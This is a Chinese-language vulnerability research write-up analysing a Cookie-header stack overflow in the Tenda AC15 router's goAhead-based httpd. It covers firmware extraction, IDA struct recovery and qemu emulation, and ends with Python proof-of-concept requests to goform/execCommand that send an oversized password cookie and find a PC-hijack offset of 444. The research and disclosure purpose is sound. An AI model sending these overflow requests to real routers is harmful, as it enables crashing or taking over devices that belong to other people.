作者:Ryze-T
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送! 投稿郵箱:paper@seebug.org
0x00 簡介
CVE 詳情:

從 Description 中可知,由 COOIKE 請求頭中的 password 參數觸發遠程代碼執行漏洞,因此固件中要分析的文件應該是 HTTP 相關的文件。
0x01 固件提取
binwalk -Me US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin
得到 squashfs-root 文件夾。bin 文件下有個 httpd 二進制文件:

arm32 架構的程序。
0x02 分析
搜索 web 相關函數:

百度搜索這些函數,會發現這使用的是 goAhead 框架。字符串搜索 .1 找到一個 2.1.8,很像是版本號,搜索下載 goAhead 2.1.8。其中 webs.h 中有一個結構體:
typedef struct websRec {
ringq_t header; /* Header dynamic string */
time_t since; /* Parsed if-modified-since time */
sym_fd_t cgiVars; /* CGI standard variables */
sym_fd_t cgiQuery; /* CGI decoded query string */
time_t timestamp; /* Last transaction with browser */
int timeout; /* Timeout handle */
char_t ipaddr[32]; /* Connecting ipaddress */
char_t type[64]; /* Mime type */
char_t *dir; /* Directory containing the page */
char_t *path; /* Path name without query */
char_t *url; /* Full request url */
char_t *host; /* Requested host */
char_t *lpath; /* Cache local path name */
char_t *query; /* Request query */
char_t *decodedQuery; /* Decoded request query */
char_t *authType; /* Authorization type (Basic/DAA) */
char_t *password; /* Authorization password */
char_t *userName; /* Authorization username */
char_t *cookie; /* Cookie string */
char_t *userAgent; /* User agent (browser) */
char_t *protocol; /* Protocol (normally HTTP) */
char_t *protoVersion; /* Protocol version */
int sid; /* Socket id (handler) */
int listenSid; /* Listen Socket id */
int port; /* Request port number */
int state; /* Current state */
int flags; /* Current flags -- see above */
int code; /* Request result code */
int clen; /* Content length */
int wid; /* Index into webs */
char_t *cgiStdin; /* filename for CGI stdin */
int docfd; /* Document file descriptor */
int numbytes; /* Bytes to transfer to browser */
int written; /* Bytes actually transferred */
void (*writeSocket)(struct websRec *wp);
} websRec;
typedef websRec *webs_t;
typedef websRec websType;
找到里面特殊的 ringq_t 結構體:
typedef struct {
unsigned char *buf; /* Holding buffer for data */
unsigned char *servp; /* Pointer to start of data */
unsigned char *endp; /* Pointer to end of data */
unsigned char *endbuf; /* Pointer to end of buffer */
int buflen; /* Length of ring queue */
int maxsize; /* Maximum size */
int increment; /* Growth increment */
} ringq_t;
sym_fd_t 其實就是 int,char_t 就是 char。
格式化后將這兩個結構體導入到 IDA 中。

goAhead 2.1.8 的 main.c 中有一段:

IDA pro 中 sub_2D3F0 也有類似的一段:

這個 R7WebSceurityHandler 應該是二次開發的函數。
WebSceurityHandler 函數官方文檔表明是用來做默認 URL 的安全策略的函數,若需要替換安全策略,可以修改該函數。
其函數原型如下:
#include "webs.h"
int websSecurityHandler(webs_t wp, char_t *url, char_t *path, char_t *query);
再來看 R7WebsSecurityHandler,往下翻翻就能看見一個未經限制的 sscanf:

對照 WebSceurityHandler,將 a1 替換成之前的 websRec 結構體:

漏洞觸發點出來了,cookie 中 password 的值未經過濾,可能會導致棧溢出。
但是要達到這條路徑沒有那么簡單,還有一些條件:

因此需要找一個符合條件的目錄,比如 goform/execCommand。
0x03 固件模擬
qemu-arm 指定根路徑啟動httpd:
qemu-arm -L ./ ./bin/httpd

找到關鍵詞:

有一個關于 check_network函數的校驗,可能會導致死循環,先patch掉:

再次運行還是報錯:

再次搜索關鍵詞,發現觸發了 ConnectCfm(v2) 的判斷,再patch,再執行:

監聽255.255.255.255了,這里配置一下橋接網絡。
apt install uml-utilities bridge-utils
brctl addbr br0
brctl addif br0 eth0
ifconfig br0 up
dhclient br0
chroot ./ ./qemu-arm-static ./bin/httpd


0x04 PoC
import requests
url = "http://10.211.55.21:80/goform/execCommand"
payload = 'a' * 500
headers = {
'Cookie': 'password="' + payload + '"'
}
print(headers)
response = requests.request("GET", url, headers=headers)
gdb-multiarch 調試一下,程序斷在這:

可以看到,r3已經被覆蓋為 'aaaa',由于程序訪問了r3處的內存,造成內存讀取錯誤,程序并沒有走到函數返回處。
通過對花括號的匹配,漏洞觸發點后續的代碼運行都取決于93-100行的判斷:

此判斷是判斷 url 中是否包含一些特征字符,那么只需要在url后加入 .png 就可以使判斷失敗,從而直接運行到函數尾部。
但在在判斷前,url已經被我們所覆蓋,因此只要在payload中加上.png就可以完成目標。
再次嘗試并計算偏移:
import requests
url = "http://10.211.55.21:80/goform/execCommand"
payload = 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae' +".png"
headers = {
'Cookie': 'password=' + payload
}
print(headers)
response = requests.request("GET", url, headers=headers)

PC被劫持,且偏移為444。
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/2065/